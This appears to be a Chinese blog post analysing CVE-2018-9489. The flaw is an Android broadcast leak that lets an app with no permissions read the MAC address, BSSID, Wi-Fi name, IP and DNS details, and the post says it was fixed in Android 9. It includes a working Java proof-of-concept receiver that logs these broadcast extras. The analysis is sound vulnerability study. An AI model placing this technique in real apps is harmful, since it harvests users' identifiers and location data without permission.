CVE-2018-9489分析

概述

CVE-2018-9489是一个很简单,很鸡肋的漏洞,但漏洞无贵贱,在一些特殊的场景中往往会利用这些漏洞完成不可思议的利用。

简而言之,CVE-2018-9489这个漏洞就是一个0权限的app可以读到系统的mac地址、wifi信息,而这些信息如果是一个普通的app去读取的话是需要申请权限的。

CVE-2018-9489漏洞通过监听NETWORK_STATE_CHANGED_ACTION和WIFI_P2P_THIS_DEVICE_CHANGED_ACTION这两个广播来获得这些信息。

漏洞分析

Android系统通过WifiManager.NETWORK_STATE_CHANGED_ACTION和WifiP2pManager.WIFI_P2P_THIS_DEVICE_CHANGED_ACTION这两个广播发送系统的MAC地址、BSSID、wifi名称、IP地址、DNS等信息。

正常情况下,通过WifiManager类访问这些信息时,需要注册“ACCESS_WIFI_STATE”权限。我们知道搜集了mac地址和BSSID信息时,就可以进行wifi定位,而正常的wifi定位时需要注册“ACCESS_FINE_LOCATION” 和 “ACCESS_COARSE_LOCATION”权限的。

此外,Android为了数据隐私,从这个6.0版本开始, Android 移除了通过 WiFi 和蓝牙 API 来在应用程序中可编程的访问本地硬件标示符。现在 WifiInfo.getMacAddress() 和 BluetoothAdapter.getAddress() 方法都将返回 “02:00:00:00:00:00”。

然而通过监听系统广播的方式,一个普通App可以不用申请任何权限去获得这些信息。当然,如上所述,利用CVE-2018-9489可以进行wifi定位、读取MAC地址、内网扫描等。

PoC代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

BroadcastReceiver receiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
Log.d("m4bln", intent.getAction());
String extrasString = "";
Bundle extras = intent.getExtras();

if (extras != null) {
Set<String> keySet = extras.keySet();
for (String key : keySet) {
try {
String extraValue = intent.getExtras().get(key).toString();
extrasString += key + ": " + extraValue + "\n";
} catch (Exception e) {
Log.d("m4bln", "Exception in getExtras: " + e.toString());
extrasString += key + ": Exception:" + e.getMessage() + "\n";
}
}
}

Log.d("m4bln", extrasString);


}
};


IntentFilter filter = new IntentFilter();
filter.addAction(WifiManager.NETWORK_STATE_CHANGED_ACTION);
filter.addAction(WifiP2pManager.WIFI_P2P_THIS_DEVICE_CHANGED_ACTION);
registerReceiver(receiver, filter);

}

读到的广播数据如下:

upload successful

该漏洞在Android 9.0修复,但由于音响范围较小,之前的版本Android不作处理。

参考资料:

  1. https://wwws.nightwatchcybersecurity.com/2018/08/29/sensitive-data-exposure-via-wifi-broadcasts-in-android-os-cve-2018-9489/